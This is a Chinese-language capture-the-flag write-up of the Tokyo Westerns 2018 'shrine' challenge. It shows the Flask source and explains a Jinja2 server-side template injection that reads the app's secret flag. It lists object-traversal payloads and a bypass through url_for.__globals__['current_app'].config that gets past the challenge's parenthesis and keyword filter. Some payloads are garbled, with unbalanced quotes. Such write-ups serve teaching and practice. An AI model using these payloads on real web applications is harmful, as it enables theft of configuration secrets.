TokyoWesternsCTF-WEB:shrine
学习:
从 flask+jinjia2 认识 SSTI 服务端模板注入 | AbelChe's Blog
Tokyo Westerns CTF 2018 WEB Wp | 码农网
题目里只给出了一个源代码:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
@app.route('/shrine/
可以看出是个 flask 在 /shrine/ 下的 SSTI,测试一下:
s = s.replace('(', '').replace(')', '')
可以看出过滤了括号。
没有 WAF 的情况
[1]传入{{config}}
[2]传入{{self.__dict__}}
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG'] ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG'] [].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app
比如这样:
__globals__['current_app'].config['FLAG'] top.app.config['FLAG']
绕过WAF
{{url_for.__globals__}} ,它引用的内容中,有着 current_app 的全局变量。
所以payload:
{{url_for.__globals__['current_app'].config['FLAG']}}